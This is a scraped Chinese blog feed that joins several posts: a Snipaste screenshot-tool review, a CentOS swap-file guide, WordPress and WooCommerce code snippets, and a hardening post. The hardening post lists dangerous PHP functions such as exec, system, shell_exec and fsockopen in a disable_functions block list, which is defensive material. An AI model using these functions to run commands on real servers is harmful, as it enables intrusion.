这一细节功能真心值无数个赞!相比大多数截屏软件只能检测整个应用窗口边界,Snipaste 对界面元素的判定让你操作时可以更加精准快捷,下面的动图就可以让你直观地感受到这个功能的强大之处。

Snipaste 截图软件

精确控制截图范围

你可以可用鼠标拖放或者键盘快捷键移动或调整截图框大小,实现截图取景框的像素级精准移动。
键盘 w/s/a/d 可以移动光标上下左右
Shift + 上/下/左/右 缩小截图区域
Ctrl + 上/下/左/右 扩大截图区域为

截图区域

屏幕截图过程回放

屏幕截图过程回放功能不只是回放全屏的截图,之前截图中的画图编辑的过程也能完全重现

截图回放

屏幕取色

先按下 F1 开始截图,然后对准想要取色的地方,按下键盘 C 键即可获取当前像素点的 RGB 颜色值

屏幕取色

当你取色完成之后,你还可以把颜色值复制出来 (支持RGB、HEX等格式)

取色

特色贴图功能 – 将图片作为窗口置顶显示

贴图是 Snipaste 一个很有特色的功能。它可以把截图的结果或者本地的图片变成一个活动的无边框窗口贴在屏幕上展示、暂存、取色或进一步编辑等。活用贴图功能的妙处有很多,而且非常适合多显示器的用户!

首先看看什么是贴图功能吧:

不管是打开本地图片,还是截图结果,Snipaste 都会以「贴图」窗口的形式显示出来。

贴图

对贴图窗口进行旋转、缩放、设置半透明显示、鼠标穿透等

  • 缩放 (鼠标滚轮 或者键盘 +/-) ,这组操作对于 GIF 图片则是加速/减速
  • 旋转 (键盘 1 / 2),对于 GIF 图片则是 上一帧/下一帧
  • 设置透明度 (Ctrl+鼠标滚轮 或者键盘 Ctrl++/-)
  • 鼠标穿透 (键盘 F3)
  • 编辑图像 (空格键)
  • 隐藏 (鼠标左键双击)
  • 销毁 (在右键菜单里)
  • 取色 (键盘 Alt)

贴图窗口

贴图截图编辑、图片标注功能

软件的加文字注释、箭头、框框标识、添加标注等非常方便。Snipaste 提供了丰富的画图工具:矩形、椭圆、线条、铅笔、马克笔、文字工具、马赛克、高斯模糊、橡皮擦以及重做 / 撤销等功能。

图片编辑当然也有马克笔、马赛克、高斯模糊、橡皮擦等功能。画笔工具截图和贴图也可以更加紧密结合,直接截图后变成贴图供编辑使用。

截图编辑

将剪贴板中的文字、图像、HTML 内容一键快速转换成图片

文字转图片」是 Snipaste 非常神奇独特的一个功能!当你复制一段纯文本或者一段 HTML 格式的富文本之后,按下 F2 一键就能「把文字内容瞬间转换成图片」并以贴图的形式显示在桌面供你进一步使用。

复制纯文本后,按下 F2 键迅速将文字转换成图片

文字转换图片

HTML 格式的富文本也可以转换成图片。

HTMl转换图片

配合支持 HTML 格式复制的代码编辑器食用更佳,比如Visual Studio,程序员们表示爽歪歪。

代码转换成图片

其他功能:

Snipaste 还有很炫酷一点的是可以支持在贴图窗口上播放 GIF 动画!帅不?!

播放 GIF 动画

Snipaste 可以让你自定义主题颜色、界面字体、通知栏图标,自定义快捷键等设置。

snipaste 设置

另外,截图的遮罩颜色也是可以更改的

snipaste 颜色

Snipaste (Windows) 是绿色版的软件,下载解压后执行 Snipaste.exe 即可运行,软件的设置会保存在软件目录中的 config.ini 里面。如果你启动出错,那么需要下载安装 VC++2015 运行库才可运行。

总结:

其实,Snipaste 还有很多细节及隐藏功能,大家可以自己下载体验。如果 Snipaste 正好切中你的需求,那很好。如果你并不需要某些特性 (比如截图时自动选取界面元素),Snipaste 也为你提供了开关。

总之,Snipaste 的好用和细心体现在方方面面,作者花了3年打磨才推出第一个版本而且免费发布确实让人敬佩!虽然不能说它一定可以取代某某截图软件,但 Snipaste 绝对是截图工具中一款崭新的强而有力的利器!还有日后跨平台支持Mac、Linux,或者能加上截图一键上传获取链接等功能想必会更加实用,总之前途一片光明。

最后,唯一比较可惜的是,Snipaste 还没有提供滚动截图」的功能,不过作者也表示将会争取尽快实现了,大家期待吧……

相关文件下载地址:

官方网站:访问
软件性质:免费

Snipaste 屏幕截图软件超级利器 – 花3年精心打造的极致截图贴图/编辑/标注工具,首发于蓝月网络

]]>
WordPress 技巧:屏蔽 DEMO 账号修改密码 https://lanyueer.com/disable_demo_show_password_fields/ Wed, 28 Jun 2017 06:53:07 +0000 https://lanyueer.com/?p=965 我们使用 WordPress 做系统,然后提供 DEMO 账号给用户演示功能,但是有些用户就是手贱把 DEMO…

WordPress 技巧:屏蔽 DEMO 账号修改密码,首发于蓝月网络

]]>
我们使用 WordPress 做系统,然后提供 DEMO 账号给用户演示功能,但是有些用户就是手贱把 DEMO 账号的密码给改了,很是烦人,其实有办法对付他们的。

下面这段代码就可以把 DEMO 账号(这你 ID 是 50,根据你的 DEMO 账号进行调整)的在后台用户编辑界面的密码修改功能都给屏蔽了,用户自然无法修改了。

  1. add_filter('show_password_fields', 'disable_demo_show_password_fields', 10, 2);
  2. function disable_demo_show_password_fields($status, $profileuser){
  3. 	if($profileuser->ID == 50){
  4. 		return false;
  5. 	}
  6. 	return $status;
  7. }

WordPress 技巧:屏蔽 DEMO 账号修改密码,首发于蓝月网络

]]>
一些需要禁用的PHP危险函数(disable_functions) https://lanyueer.com/php-disable_functions/ Sun, 25 Jun 2017 06:08:37 +0000 https://lanyueer.com/?p=962 phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级:中 pas…

一些需要禁用的PHP危险函数(disable_functions),首发于蓝月网络

]]>
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

禁用方法如下:
打开/etc/php.ini文件,
查找到 disable_functions ,添加需禁用的函数名,如下:
危险等级:高

  1. eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,symlink,popepassthru,fsocket,fsockopen

危险等级:中

  1. phpinfo,stream_socket_server,readlink,syslog,scandir

危险等级:低

  1. error_log

一些需要禁用的PHP危险函数(disable_functions),首发于蓝月网络

]]>
在CentOS中添加Swap交换文件,防止内存不足时MYSQL崩溃 https://lanyueer.com/centos-add-swap/ Sun, 25 Jun 2017 05:51:52 +0000 https://lanyueer.com/?p=959 1.swap概述 Swap分区,即交换区,Swap空间的作用可简单描述为:当系统的物理内存不够用的时候,就需要…

在CentOS中添加Swap交换文件,防止内存不足时MYSQL崩溃,首发于蓝月网络

]]>
1.swap概述

Swap分区,即交换区,Swap空间的作用可简单描述为:当系统的物理内存不够用的时候,就需要将物理内存中的一部分空间释放出来,以供当前运行的程序使用。那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临时保存到Swap空间中,等到那些程序要运行时,再从Swap中恢复保存的数据到内存中。这样,系统总是在物理内存不够时,才进行Swap交换。 其实,Swap的调整对Linux服务器,特别是Web服务器的性能至关重要。通过调整Swap,有时可以越过系统性能瓶颈,节省系统升级费用。

2.创建swap

首先查看当前的内存和swap 空间大小(默认单位为k, -m 单位为M):

  1. free -m


此处可以看到总内存是503M,SWAP不存在。

查看swap信息,包括文件和分区的详细信息

  1. # swapon -s

或者

  1. # cat /proc/swaps

如果都没有,我们就需要手动添加交换分区。注意,OPENVZ架构的VPS是不支持手动添加交换分区的。

添加交换空间有两种选择:添加一个交换分区或添加一个交换文件。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用, 则添加交换文件。

一、增加swap交换文件

1、使用dd命令创建一个swap交换文件

  1. dd if=/dev/zero of=/home/swap bs=1024 count=1024000

这样就建立一个/home/swap的分区文件,大小为1G。

2、制作为swap格式文件:

  1. mkswap /home/swap

3、再用swapon命令把这个文件分区挂载swap分区

  1. /sbin/swapon /home/swap

我们用free -m命令看一下,发现已经有交换分区了。

但是重启系统后,swap分区又变成0了。

4、为防止重启后swap分区变成0,要修改/etc/fstab文件

  1. vi /etc/fstab

在文件末尾(最后一行)加上

  1. /home/swap swap swap default 0 0

这样就算重启系统,swap分区还是有值。

删除swap交换文件

1、先停止swap分区

  1. /sbin/swapoff /home/swap

2、删除swap分区文件

  1. rm -rf /home/swap

3、删除自动挂载配置命令

  1. vi /etc/fstab

这行删除

  1. /home/swap swap swap default 0 0

这样就能把手动增加的交换文件删除了。
注意:
1、增加删除swap的操作只能使用root用户来操作。
2、装系统时分配的swap分区貌似删除不了。
3、swap分区一般为内存的2倍,但最大不超过2G

二、使用分区来做SWAP(虚拟内存).

1 使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区)
2 使用 mkswap 命令来设置交换分区:

  1. # mkswap /dev/sdb2

3 启用交换分区:

  1. # swapon /dev/sdb2

4 写入/etc/fstab,以便在引导时启用:

  1. /dev/sdb2 swap swap defaults 0 0

删除交换分区
步骤如下:
1、先停止swap分区

  1. /sbin/swapoff /dev/sdb2

2、删除自动挂载配置命令

  1. vi /etc/fstab

这行删除

  1. /dev/sdb2 swap swap defaults 0 0

这样就能把手动增加的交换分区删除了。

在CentOS中添加Swap交换文件,防止内存不足时MYSQL崩溃,首发于蓝月网络

]]>
实用的25个WooCommerce片段2 https://lanyueer.com/25-best-woocommerce-snippets-2/ Tue, 20 Jun 2017 11:32:50 +0000 https://lanyueer.com/?p=958 WooCommerce是非常强大的电商工具,并且易于扩展。 它有许多钩子可以用于修改几乎所有的东西,这就是使W…

实用的25个WooCommerce片段2,首发于蓝月网络

]]>
WooCommerce是非常强大的电商工具,并且易于扩展。 它有许多钩子可以用于修改几乎所有的东西,这就是使WooCommerce如此受欢迎。 以下一些实用的Woocommerce片段列表 所有这些片段必须粘贴在您的主题文件夹中的functions.php文件中才能起作用:

1 – 替换WooCommerce默认PayPal logo

  1. /*
  2.  * Replace WooCommerce default PayPal icon
  3.  */
  4. function paypal_checkout_icon() {
  5.  return 'https://www.paypalobjects.com/webstatic/mktg/logo-center/logo_betalen_met_paypal_nl.jpg'; // write your own image URL here
  6. }
  7. add_filter( 'woocommerce_paypal_icon', 'paypal_checkout_icon' );

2 – 替换默认产品占位符图片

  1. /*
  2. * goes in theme functions.php or a custom plugin. Replace the image filename/path with your own ?
  3. *
  4. **/
  5. add_action( 'init', 'custom_fix_thumbnail' );
  6.  
  7. function custom_fix_thumbnail() {
  8.   add_filter('woocommerce_placeholder_img_src', 'custom_woocommerce_placeholder_img_src');
  9.  
  10. 	function custom_woocommerce_placeholder_img_src( $src ) {
  11. 	$upload_dir = wp_upload_dir();
  12. 	$uploads = untrailingslashit( $upload_dir['baseurl'] );
  13. 	$src = $uploads . '/2012/07/thumb1.jpg';
  14.  
  15. 	return $src;
  16. 	}
  17. }

3 – 从面包屑中移除“Products”

  1. /*
  2.  * Hide "Products" in WooCommerce breadcrumb
  3.  */
  4. function woo_custom_filter_breadcrumbs_trail ( $trail ) {
  5.   foreach ( $trail as $k => $v ) {
  6.     if ( strtolower( strip_tags( $v ) ) == 'products' ) {
  7.       unset( $trail[$k] );
  8.       break;
  9.     }
  10.   }
  11.  
  12.   return $trail;
  13. }
  14.  
  15. add_filter( 'woo_breadcrumbs_trail', 'woo_custom_filter_breadcrumbs_trail', 10 );

4 – 清空购物车

  1. /*
  2.  * Empty WooCommerce cart
  3.  */
  4. function my_empty_cart(){
  5. 	global $woocommerce;
  6. 	$woocommerce->cart->empty_cart(); 
  7. }
  8. add_action('init', 'my_empty_cart');

5 – 访问时自动添加产品到购物车

  1. /*
  2.  * Add item to cart on visit
  3.  */
  4. function add_product_to_cart() {
  5. 	if ( ! is_admin() ) {
  6. 		global $woocommerce;
  7. 		$product_id = 64;
  8. 		$found = false;
  9. 		//check if product already in cart
  10. 		if ( sizeof( $woocommerce->cart->get_cart() ) > 0 ) {
  11. 			foreach ( $woocommerce->cart->get_cart() as $cart_item_key => $values ) {
  12. 				$_product = $values['data'];
  13. 				if ( $_product->id == $product_id )
  14. 					$found = true;
  15. 			}
  16. 			// if product not found, add it
  17. 			if ( ! $found )
  18. 				$woocommerce->cart->add_to_cart( $product_id );
  19. 		} else {
  20. 			// if no products in cart, add it
  21. 			$woocommerce->cart->add_to_cart( $product_id );
  22. 		}
  23. 	}
  24. }
  25. add_action( 'init', 'add_product_to_cart' );

6 – 添加自定义货币/符号

  1. add_filter( 'woocommerce_currencies', 'add_my_currency' );
  2.  
  3. function add_my_currency( $currencies ) {
  4.      $currencies['ABC'] = __( 'Currency name', 'woocommerce' );
  5.      return $currencies;
  6. }
  7.  
  8. add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2);
  9.  
  10. function add_my_currency_symbol( $currency_symbol, $currency ) {
  11.      switch( $currency ) {
  12.           case 'ABC': $currency_symbol = '$'; break;
  13.      }
  14.      return $currency_symbol;
  15. }

7 – 更改添加到购物车按钮文字

  1. /**
  2.  * Change the add to cart text on single product pages
  3.  */
  4. function woo_custom_cart_button_text() {
  5. 	return __('My Button Text', 'woocommerce');
  6. }
  7. add_filter('single_add_to_cart_text', 'woo_custom_cart_button_text');
  8.  
  9.  
  10.  
  11. /**
  12.  * Change the add to cart text on product archives
  13.  */
  14. function woo_archive_custom_cart_button_text() {
  15. 	return __( 'My Button Text', 'woocommerce' );
  16. }
  17. add_filter( 'add_to_cart_text', 'woo_archive_custom_cart_button_text' );

8 – 重定向订阅添加到购物车到结帐页面

  1. /**
  2.  * Redirect subscription add to cart to checkout page
  3.  *
  4.  * @param string $url
  5.  */
  6. function custom_add_to_cart_redirect( $url ) {
  7.  
  8.   $product_id	= (int) $_REQUEST['add-to-cart'];
  9. 	if ( class_exists( 'WC_Subscriptions_Product' ) ) {
  10. 		if ( WC_Subscriptions_Product::is_subscription( $product_id ) ) {
  11. 			return get_permalink(get_option( 'woocommerce_checkout_page_id' ) );
  12. 		} else return $url;
  13. 	} else return $url;
  14.  
  15. }
  16. add_filter('add_to_cart_redirect', 'custom_add_to_cart_redirect');

此片段需要订阅插件。

9 – 加入购物车后,重定向到结帐页面

  1. /**
  2.  * Redirect subscription add to cart to checkout page
  3.  *
  4.  * @param none
  5.  */
  6. function add_to_cart_checkout_redirect() {
  7. 	wp_safe_redirect( get_permalink( get_option( 'woocommerce_checkout_page_id' ) ) );
  8. 	die();
  9. }
  10. add_action( 'woocommerce_add_to_cart',  'add_to_cart_checkout_redirect', 11 );

10 – CC所有电子邮件

  1.  /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Add another email recipient to all WooCommerce emails
  6.  *
  7.  */
  8. function woo_cc_all_emails() {
  9.   return 'Bcc: youremail@yourdomain.com' . "\r\n";
  10. }
  11. add_filter('woocommerce_email_headers', 'woo_cc_all_emails' );

11 – 当使用优惠券完成新订单时,发送电子邮件

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Send an email each time an order with coupon(s) is completed
  6.  * The email contains coupon(s) used during checkout process
  7.  *
  8.  */ 
  9. function woo_email_order_coupons( $order_id ) {
  10.         $order = new WC_Order( $order_id );
  11.  
  12.         if( $order->get_used_coupons() ) {
  13.  
  14.           $to = 'youremail@yourcompany.com';
  15. 	        $subject = 'New Order Completed';
  16. 	        $headers = 'From: My Name ' . "\r\n";
  17.  
  18. 	        $message = 'A new order has been completed.\n';
  19. 	        $message .= 'Order ID: '.$order_id.'\n';
  20. 	        $message .= 'Coupons used:\n';
  21.  
  22. 	        foreach( $order->get_used_coupons() as $coupon) {
  23. 		        $message .= $coupon.'\n';
  24. 	        }
  25. 	        @wp_mail( $to, $subject, $message, $headers );
  26.         }
  27. }
  28. add_action( 'woocommerce_thankyou', 'woo_email_order_coupons' );

12 – 更改相关产品数量

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Change number of related products on product page
  6.  * Set your own value for 'posts_per_page'
  7.  *
  8.  */ 
  9. function woo_related_products_limit() {
  10.   global $product;
  11.  
  12. 	$args = array(
  13. 		'post_type'        		=> 'product',
  14. 		'no_found_rows'    		=> 1,
  15. 		'posts_per_page'   		=> 6,
  16. 		'ignore_sticky_posts' 	=> 1,
  17. 		'orderby'             	=> $orderby,
  18. 		'post__in'            	=> $related,
  19. 		'post__not_in'        	=> array($product->id)
  20. 	);
  21. 	return $args;
  22. }
  23. add_filter( 'woocommerce_related_products_args', 'woo_related_products_limit' );

13 – 从商店页面中的特定类别中排除产品

  1.  /**
  2.  * Remove products from shop page by category
  3.  *
  4.  */
  5. function woo_custom_pre_get_posts_query( $q ) {
  6.  
  7. 	if ( ! $q->is_main_query() ) return;
  8. 	if ( ! $q->is_post_type_archive() ) return;
  9.  
  10. 	if ( ! is_admin() && is_shop() ) {
  11.  
  12. 		$q->set( 'tax_query', array(array(
  13. 			'taxonomy' => 'product_cat',
  14. 			'field' => 'slug',
  15. 			'terms' => array( 'shoes' ), // Don't display products in the shoes category on the shop page
  16. 			'operator' => 'NOT IN'
  17. 		)));
  18.  
  19. 	}
  20.  
  21. 	remove_action( 'pre_get_posts', 'custom_pre_get_posts_query' );
  22.  
  23. }
  24. add_action( 'pre_get_posts', 'woo_custom_pre_get_posts_query' );

14 – 更改商城列数

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Change product columns number on shop pages
  6.  *
  7.  */
  8. function woo_product_columns_frontend() {
  9.     global $woocommerce;
  10.  
  11.     // Default Value also used for categories and sub_categories
  12.     $columns = 4;
  13.  
  14.     // Product List
  15.     if ( is_product_category() ) :
  16.         $columns = 4;
  17.     endif;
  18.  
  19.     //Related Products
  20.     if ( is_product() ) :
  21.         $columns = 2;
  22.     endif;
  23.  
  24.     //Cross Sells
  25.     if ( is_checkout() ) :
  26.         $columns = 4;
  27.     endif;
  28.  
  29. 	return $columns;
  30. }
  31. add_filter('loop_shop_columns', 'woo_product_columns_frontend');

15 – 禁用WooCommerce选项卡

  1. /**
  2.  * Remove product tabs
  3.  *
  4.  */
  5. function woo_remove_product_tab($tabs) {
  6.  
  7.     unset( $tabs['description'] );      		// Remove the description tab
  8.     unset( $tabs['reviews'] ); 					// Remove the reviews tab
  9.     unset( $tabs['additional_information'] );  	// Remove the additional information tab
  10.  
  11.  	return $tabs;
  12.  
  13. }
  14. add_filter( 'woocommerce_product_tabs', 'woo_remove_product_tab', 98);

16 – 移除面包屑

  1.  /**
  2.  * Remove WooCommerce BreadCrumb
  3.  *
  4.  */
  5. remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20);

17 – 限制运输的国家列表

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Restrict shipping countries list
  6.  *
  7.  */
  8. function woo_override_checkout_fields( $fields ) { 
  9.  
  10. 	$fields['shipping']['shipping_country'] = array(
  11. 		'type'      => 'select',
  12. 		'label'     => __('My New Country List', 'woocommerce'),
  13. 		'options' 	=> array('AU' => 'Australia')
  14. 	);
  15.  
  16. 	return $fields; 
  17. } 
  18. add_filter( 'woocommerce_checkout_fields' , 'woo_override_checkout_fields' );

18 – 替换“Free!”产品字符串

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Replace "Free!" by a custom string
  6.  *
  7.  */
  8. function woo_my_custom_free_message() {
  9. 	return "This product is FREE!";
  10. }
  11.  
  12. add_filter('woocommerce_free_price_html', 'woo_my_custom_free_message');

19 – 当免费送货可用时隐藏所有其他运送方式

  1. // Hide ALL shipping options when free shipping is available
  2. add_filter( 'woocommerce_available_shipping_methods', 'hide_all_shipping_when_free_is_available' , 10, 1 );
  3.  
  4. /**
  5. * Hide ALL Shipping option when free shipping is available
  6. *
  7. * @param array $available_methods
  8. */
  9. function hide_all_shipping_when_free_is_available( $available_methods ) {
  10.  
  11.   	if( isset( $available_methods['free_shipping'] ) ) :
  12.  
  13. 		// Get Free Shipping array into a new array
  14. 		$freeshipping = array();
  15. 		$freeshipping = $available_methods['free_shipping'];
  16.  
  17. 		// Empty the $available_methods array
  18. 		unset( $available_methods );
  19.  
  20. 		// Add Free Shipping back into $avaialble_methods
  21. 		$available_methods = array();
  22. 		$available_methods[] = $freeshipping;
  23.  
  24. 	endif;
  25.  
  26. 	return $available_methods;
  27. }

20 – 设置结账时“state”字段非必填

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Make "state" field not required on checkout
  6.  *
  7.  */
  8.  
  9. add_filter( 'woocommerce_billing_fields', 'woo_filter_state_billing', 10, 1 );
  10. add_filter( 'woocommerce_shipping_fields', 'woo_filter_state_shipping', 10, 1 );
  11.  
  12. function woo_filter_state_billing( $address_fields ) { 
  13. 	$address_fields['billing_state']['required'] = false;
  14. 	return $address_fields;
  15. }
  16.  
  17. function woo_filter_state_shipping( $address_fields ) { 
  18. 	$address_fields['shipping_state']['required'] = false;
  19. 	return $address_fields;
  20. }

21 – 创建优惠券程序

  1. $coupon_code = 'UNIQUECODE'; // Code
  2. $amount = '10'; // Amount
  3. $discount_type = 'fixed_cart'; // Type: fixed_cart, percent, fixed_product, percent_product
  4.  
  5. $coupon = array(
  6. 	'post_title' => $coupon_code,
  7. 	'post_content' => '',
  8. 	'post_status' => 'publish',
  9. 	'post_author' => 1,
  10. 	'post_type'		=> 'shop_coupon'
  11. );
  12.  
  13. $new_coupon_id = wp_insert_post( $coupon );
  14.  
  15. // Add meta
  16. update_post_meta( $new_coupon_id, 'discount_type', $discount_type );
  17. update_post_meta( $new_coupon_id, 'coupon_amount', $amount );
  18. update_post_meta( $new_coupon_id, 'individual_use', 'no' );
  19. update_post_meta( $new_coupon_id, 'product_ids', '' );
  20. update_post_meta( $new_coupon_id, 'exclude_product_ids', '' );
  21. update_post_meta( $new_coupon_id, 'usage_limit', '' );
  22. update_post_meta( $new_coupon_id, 'expiry_date', '' );
  23. update_post_meta( $new_coupon_id, 'apply_before_tax', 'yes' );
  24. update_post_meta( $new_coupon_id, 'free_shipping', 'no' );

22 – 更改电子邮件主题行

  1. /*
  2.  * Subject filters: 
  3.  *   woocommerce_email_subject_new_order
  4.  *   woocommerce_email_subject_customer_procesing_order
  5.  *   woocommerce_email_subject_customer_completed_order
  6.  *   woocommerce_email_subject_customer_invoice
  7.  *   woocommerce_email_subject_customer_note
  8.  *   woocommerce_email_subject_low_stock
  9.  *   woocommerce_email_subject_no_stock
  10.  *   woocommerce_email_subject_backorder
  11.  *   woocommerce_email_subject_customer_new_account
  12.  *   woocommerce_email_subject_customer_invoice_paid
  13.  **/
  14. add_filter('woocommerce_email_subject_new_order', 'change_admin_email_subject', 1, 2);
  15.  
  16. function change_admin_email_subject( $subject, $order ) {
  17. 	global $woocommerce;
  18.  
  19. 	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
  20.  
  21. 	$subject = sprintf( '[%s] New Customer Order (# %s) from Name %s %s', $blogname, $order->id, $order->billing_first_name, $order->billing_last_name );
  22.  
  23. 	return $subject;
  24. }

23 – 添加自定义费用到购物车

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Add custom fee to cart automatically
  6.  *
  7.  */
  8. function woo_add_cart_fee() {
  9.  
  10. 	global $woocommerce;
  11.  
  12. 	if ( is_cart() ) {
  13. 		$woocommerce->cart->add_fee( __('Custom', 'woocommerce'), 5 );
  14. 	}
  15.  
  16. }
  17. add_action( 'woocommerce_before_cart_table', 'woo_add_cart_fee' );

24 – 自定义添加到购物车消息

  1. /**
  2.  * Custom Add To Cart Messages
  3.  * Add this to your theme functions.php file
  4.  **/
  5. add_filter( 'woocommerce_add_to_cart_message', 'custom_add_to_cart_message' );
  6. function custom_add_to_cart_message() {
  7. 	global $woocommerce;
  8.  
  9. 	// Output success messages
  10. 	if (get_option('woocommerce_cart_redirect_after_add')=='yes') :
  11.  
  12. 		$return_to 	= get_permalink(woocommerce_get_page_id('shop'));
  13.  
  14. 		$message 	= sprintf('<a href="%s" class="button">%s</a> %s', $return_to, __('Continue Shopping →', 'woocommerce'), __('Product successfully added to your cart.', 'woocommerce') );
  15.  
  16. 	else :
  17.  
  18. 		$message 	= sprintf('<a href="%s" class="button">%s</a> %s', get_permalink(woocommerce_get_page_id('cart')), __('View Cart →', 'woocommerce'), __('Product successfully added to your cart.', 'woocommerce') );
  19.  
  20. 	endif;
  21.  
  22. 		return $message;
  23. }

25 – 向管理员电子邮件添加付款方式

  1. /**
  2.  * WooCommerce Extra Feature
  3.  * --------------------------
  4.  *
  5.  * Add payment method to admin new order email
  6.  *
  7.  */
  8. add_action( 'woocommerce_email_after_order_table', 'woo_add_payment_method_to_admin_new_order', 15, 2 ); 
  9.  
  10. function woo_add_payment_method_to_admin_new_order( $order, $is_admin_email ) { 
  11. 	if ( $is_admin_email ) { 
  12. 	echo '<p><strong>Payment Method:</strong> ' . $order->payment_method_title . '</p>'; 
  13. 	} 
  14. }

原文链接:My 25 Best WooCommerce Snippets For WordPress Part 2

实用的25个WooCommerce片段2,首发于蓝月网络

]]>
实用的25个WooCommerce片段1 https://lanyueer.com/25-best-woocommerce-snippets-1/ Tue, 20 Jun 2017 11:30:56 +0000 https://lanyueer.com/?p=957 WooCommerce是非常强大的电商工具,并且易于扩展。 它有许多钩子可以用于修改几乎所有的东西,这就是使W…

实用的25个WooCommerce片段1,首发于蓝月网络

]]>
WooCommerce是非常强大的电商工具,并且易于扩展。 它有许多钩子可以用于修改几乎所有的东西,这就是使WooCommerce如此受欢迎。 以下一些实用的Woocommerce片段列表 所有这些片段必须粘贴在您的主题文件夹中的functions.php文件中才能起作用:
实用的25个WooCommerce片段2

WooCommerce是非常强大的电商工具,并且易于扩展。 它有许多钩子可以用于修改几乎所有的东西,这就是使WooCommerce如此受欢迎。 以下一些实用的Woocommerce片段列表 所有这些片段必须粘贴在您的主题文件夹中的functions.php文件中才能起作用: 1 – 替换WooCommerce默认PayPal logo /* * Replace WooCommerce default P...

1 – 将付款类型添加到WooCommerce管理电子邮件

  1. add_action( 'woocommerce_email_after_order_table', 'add_payment_method_to_admin_new_order', 15, 2 );
  2.  
  3. function add_payment_method_to_admin_new_order( $order, $is_admin_email ) {
  4.   if ( $is_admin_email ) {
  5.     echo '<p><strong>Payment Method:</strong> ' . $order->payment_method_title . '</p>';
  6.   }
  7. }

2 – 每页/每行向上销售产品数

  1. remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_upsell_display', 15 );
  2. add_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_upsells', 15 );
  3.  
  4. if ( ! function_exists( 'woocommerce_output_upsells' ) ) {
  5. 	function woocommerce_output_upsells() {
  6. 	    woocommerce_upsell_display( 3,3 ); // Display 3 products in rows of 3
  7. 	}
  8. }

3 – 从商店页面中删除某些产品类别

  1. add_action( 'pre_get_posts', 'custom_pre_get_posts_query' );
  2.  
  3. function custom_pre_get_posts_query( $q ) {
  4.  
  5. 	if ( ! $q->is_main_query() ) return;
  6. 	if ( ! $q->is_post_type_archive() ) return;
  7.  
  8. 	if ( ! is_admin() && is_shop() && ! is_user_logged_in() ) {
  9.  
  10. 		$q->set( 'tax_query', array(array(
  11. 			'taxonomy' => 'product_cat',
  12. 			'field' => 'slug',
  13. 			'terms' => array( 'color', 'flavor', 'spices', 'vanilla' ), // Don't display products in these categories on the shop page
  14. 			'operator' => 'NOT IN'
  15. 		)));
  16.  
  17. 	}
  18.  
  19. 	remove_action( 'pre_get_posts', 'custom_pre_get_posts_query' );
  20.  
  21. }

4 – 快速翻译字段

  1. add_filter('gettext',  'translate_text');
  2. add_filter('ngettext',  'translate_text');
  3.  
  4. function translate_text($translated) {
  5.      $translated = str_ireplace('Choose and option',  'Select',  $translated);
  6.      return $translated;
  7. }

5 – 从WooCommerce类别小工具中排除一个类别

  1. add_filter( 'woocommerce_product_categories_widget_args', 'woo_product_cat_widget_args' );
  2.  
  3. function woo_product_cat_widget_args( $cat_args ) {
  4.  
  5. 	$cat_args['exclude'] = array('16');
  6.  
  7. 	return $cat_args;
